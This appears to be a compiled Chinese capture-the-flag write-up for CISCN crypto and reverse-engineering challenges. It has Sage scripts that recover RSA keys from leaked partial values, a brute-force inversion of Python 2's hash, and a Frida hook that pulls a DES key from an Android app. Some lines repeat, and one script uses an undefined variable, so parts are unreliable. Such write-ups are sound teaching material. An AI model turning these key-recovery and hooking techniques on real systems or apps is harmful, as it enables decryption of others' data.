f.write(str(key._encrypt(m)))
enc.txt:
55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
priv.pem:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,435BF84C562FE793
9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh
WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD
ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI
jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==
-----END RSA PRIVATE KEY-----
題目分析:
第一部分先略過吧,不想看
直接跳到後面階段
得到的資料有:
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x10001
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5
4.checkin
題目描述:
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
題目分析:
已知:
現在的重點是small_roots()裡面的引數要怎麼設定
先來點前置知識(怕自己又忘了):
先來點前置知識(怕自己又忘了):
在方程F(x),模數N確認的情況下,我們可以透過增加 β \betaβ 的取值或減小 ϵ \epsilonϵ 的取值,使得X取到更優的上界。
現在,已知d = 2,beta = 1,X有500位未知,我們取epsilon = 0.01是完成能夠得到結果的,但我們也知道epsilon越小,耗時越長,我們試著把epsilon調大一點,讓epsilon = 0.02,看看能否出結果。經過測試也是能出結果的,那麼就用它啦
把x_diff求出來了,後面就簡單了,這也就不多說了
from Crypto.Util.number import long_to_bytes
N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618
p_high = p0 << 490
x0 = 2021 * p_high + 1120 * (N // p_high)
P.<x_diff> = PolynomialRing(Zmod(N))
f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])
x = x0 + x_diff
p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
print(res)
p = Integer(res[0][0].rhs()) # 提取等號右邊部分
q = Integer(res[0][1].rhs())
d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,N))))
進入主題
國賽ez_rsa
題目描述:
(就擷取這麼一點點了)
國賽ez_rsa
題目描述:
(就擷取這麼一點點了)
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 65537
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5
題目分析:
方式1
解方程的過程和上題的思路應該來說是一樣的
這裡也是d = 2,beta = 1,所以關鍵部分還是落在了epsilon 的取值上,這個就自己去生成資料測一測,從0.05往上加,發現到0.09以後解集為空,那麼設定成0.09就行
這裡也是d = 2,beta = 1,所以關鍵部分還是落在了epsilon 的取值上,這個就自己去生成資料測一測,從0.05往上加,發現到0.09以後解集為空,那麼設定成0.09就行
from Crypto.Util.number import *
from tqdm import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x010001
dqlow = 0x8f2363b340e5
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
bits = 48
PR.<x> = PolynomialRing(Zmod(n))
dq = (2 ^ bits * x) + dqlow
# k = 47794
for k in trange(e,1,-1):
f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)
f = f.monic()
root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)
if root:
dq = int(root[0]) * 2 ** bits + dqlow
q = int((e * dq - 1) // k + 1)
p = int(n // q)
phi = (p - 1) * (q - 1)
d = inverse_mod(e,phi)
print(long_to_bytes(int(pow(c,d,n))))
break
from Crypto.Util.number import long_to_bytes
from tqdm import *
from Crypto.Util.number import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
dq_low = 0x8f2363b340e5
q_low = []
bits = 48
e = 65537
qq = var('qq')
PR.<x> = PolynomialRing(Zmod(n))
# k = 47794
for k in trange(e,1,-1):
k = 47794
q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)
for i in q0:
f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))
f = f.monic()
root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)
if root:
q = 2^bits * int(root[0]) + int(i[0])
p = n // q
d = inverse_mod(e,(p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,n))))
break
# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}
5.hash
題目描述
你能僅僅透過一個Python2.7自帶的hash函式的輸出,計算出它的原象的sha384雜湊值嗎?
解題思路
將壓縮包解壓後,含有兩個檔案,分別是 hash.py 、 output.txt 。
hash.py
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
output.txt
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
output.txt 的兩行資料分別是 hash.py 中的兩行輸出。
根據原始碼邏輯,可以知道首要問題是如何將 k e y keykey 的密文,解密出原文。
透過查詢 python2.7 的內建 hash 函式,可以搜尋到相關資訊:
python3 中的 hash 函式相對於 python2 ,不同在於 python3 中會對要加密的字串的運算新增 prefix 和 suffix ,而 python2 預設不會新增。
透過 github 上 python2.7 開原始碼,找到 python2.7 中 str 型別的 hash 計算原始碼,部分程式碼如下:
static long
string_hash(PyStringObject *a)
{
register Py_ssize_t len;
register unsigned char *p;
register long x;
#ifdef Py_DEBUG
assert(_Py_HashSecret_Initialized);
#endif
if (a->ob_shash != -1)
return a->ob_shash;
len = Py_SIZE(a);
/*
We make the hash of the empty string be 0, rather than using
(prefix ^ suffix), since this slightly obfuscates the hash secret
*/
if (len == 0) {
a->ob_shash = 0;
return 0;
}
p = (unsigned char *) a->ob_sval;
x = _Py_HashSecret.prefix;
x ^= *p << 7;
while (--len >= 0)
x = (1000003*x) ^ *p++;
x ^= Py_SIZE(a);
x ^= _Py_HashSecret.suffix;
if (x == -1)
x = -2;
a->ob_shash = x;
return x;
}
將其邏輯再編寫成一個簡易的函式方便測試,程式碼如下:
ll h(char *s, ll len) {
ll res = 0;
res ^= (s[0] << 7LL);
for(int i = 0; i < len; ++i) {
res = (res * 1000003ull) ^ (unsigned )s[i];
}
res ^= len;
return res;
}
現在進行解密演算法的尋找,可以解密關鍵在於將表示式
解密程式碼如下:
vector<unsigned> uh(ull d) {
d ^= 7;
ull res = d;
for(ull i7 = 0; i7 < 256u; ++i7)
for(ull i6 = 0; i6 < 256u; ++i6)
for(ull i5 = 0; i5 < 256u; ++i5) {
ull res_6 = (res ^ i7) * iv; //iv 是1000003在模數2^64下的逆元
ull res_5 = (res_6 ^ i6) * iv;
ull res_4 = (res_5 ^ i5) * iv;
vector<int> a(3);
a[0] = i7;
a[1] = i6;
a[2] = i5;
Hashmap[res_4] = a;
}
for(ull i1 = 0; i1 < 256u; ++i1)
for(ull i2 = 0; i2 < 256u; ++i2)
for(ull i3 = 0; i3 < 256u; ++i3)
for(ull i4 = 0; i4 < 256u; ++i4) {
ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003
ull res_2 = (res_1 * v) ^ i2;
ull res_3 = (res_2 * v) ^ i3;
ull res_4 = (res_3 * v) ^ i4;
if(Hashmap.find(res_4)!=Hashmap.end()){
return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};
}
}
}
具體公式推導涉及同餘方程、逆元等知識。
程式碼執行完畢得到密文的 ascii 為 93 140 240 63 90 8 82
key = ']\x8c\xf0?Z\x08R'
pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)
ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
flag = ans ^ pre
flag = hex(flag)
print flag
flag 的16進製為 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d
使用線上16進位制轉字元網站計算,得到 flag 原文為 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}
四、Reverse
1、asm_re
下載得到txt檔案,開啟發現是ida跑出來的arm的彙編程式碼,再結合題目名稱,這題應該是要讀彙編程式碼了
找到關鍵部分,整理一下
資料存在__const段裡,注意小端法提取一下
然後就可以指令碼解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
flag+=decodechr
print((flag))
'
執行執行
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}
2、androidso_re
用jadx開啟,定位到mainactivity
使用函式legal進行了判斷,函式里使用了方法inspect,檢視一下
這裡關鍵的兩個引數就是key和iv,解壓安裝包看看so
直接hook
function main() {
Java.perform(function () {
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("com.example.re11113.inspect");
var key = CheckerClass.getKey();
console.log("Key: " + key);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {}
});
});
}
setTimeout(main,1000);
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class FlagDecryptor {
private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
private static final String CHARSET = StandardCharsets.UTF_8.name();
public static void main(String[] args) {
try {
String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
String decryptedString = decryptFlag(encryptedFlag);
System.out.println("Decrypted string: " + decryptedString);
} catch (Exception e) {
System.err.println("Decryption failed: " + e.getMessage());
}
}
private static String decryptFlag(String encryptedFlag) throws Exception {
byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
IvParameterSpec iv = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, iv);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, CHARSET);
}
static class JniUtils {
public static String getKey() {
return "A8UdWaeq";
}
public static String getIv() {
return "Wf3DLups";
}
}
}
flag{188cba3a5c0fbb2250b5a2e590c391ce}
3、whereThel1b
開啟py檔案
邏輯很清晰,主要的加密內容肯定是在so檔案裡面
這個檔案有很強的python編譯特徵,可以考慮進行反編譯
特徵函式,編寫exp:
import base64
import random
random.seed(0)
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
print(decoded_flag)
'
執行執行
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}
4.gdb_debug
用IDA反編譯,定位main函式,可以發現程式邏輯為:
輸入str,將str每一個字元異或一個隨機數,得到str2
定義str3,隨機交換洗牌,得到一個0-38的隨機不重複的序列
根據str3,得到str4,使得str4[i]=str2[str[3]]
將str4每一個字元異或一個隨機數
根據str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已給出
將s1與s2作對比,若相同,則輸入flag正確,其中s2為"congratulationstoyoucongratulationstoy"
這個程式的特性在於,在置隨機數種子時,使用的是當前時間按位與0xF0000000的結果為種子,使得種子在很長一段時間執行時都相同。
基於此,我們可以提前求出要用到的隨機數(要在Linux系統上執行,與Win的rand()邏輯不同):
srand(((int)time(0))& 0xF0000000);
char rand1[38];
unsigned int rand2[38],rand3[38];
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
然後根據上面所述步驟,反過來計算一遍,完整程式碼如下:
# Run in linux
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>
using namespace std;
typedef long long LL;
typedef long double DD;
int main()
{
srand(((int)time(0))& 0xF0000000);
char s2[] = "congratulationstoyoucongratulationstoy";
unsigned char byte_10A0[] = {
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,
0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,
0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
};
char rand1[38];
unsigned int rand2[38],rand3[38];
int len = strlen(s2);
cout << "len:" << len << endl;
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
for(int i=0;i<len;i++)
{
s2[i] ^= byte_10A0[i];
}
for(int i=0;i<len;i++)
{
s2[i] ^= rand3[i];
}
int str3[39];
for(int i=0;i<len;i++)
{
str3[i] = i;
}
for(int i=len-1;i;--i)
{
int temp = str3[i];
str3[i] = str3[rand2[i]];
str3[rand2[i]] = temp;
}
//s2[i]=str2[str3[i]];
char str2[39] = {0};
for(int i=0;i<len;i++)
{
str2[str3[i]] = s2[i];
}
for(int i=0;i<len;i++)
{
str2[i] ^= rand1[i];
}
cout << str2;
return 0; //-22 61 13 92
}
在Linux上執行,得到flag:
附件題目地址:連結: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取碼: jdur
參考轉自原文連線地址:
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556
https://blog.csdn.net/weixin_62467741/article/details/139122071
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/Jayjay___/article/details/139047540
https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568
https://blog.csdn.net/althumi/article/details/139077709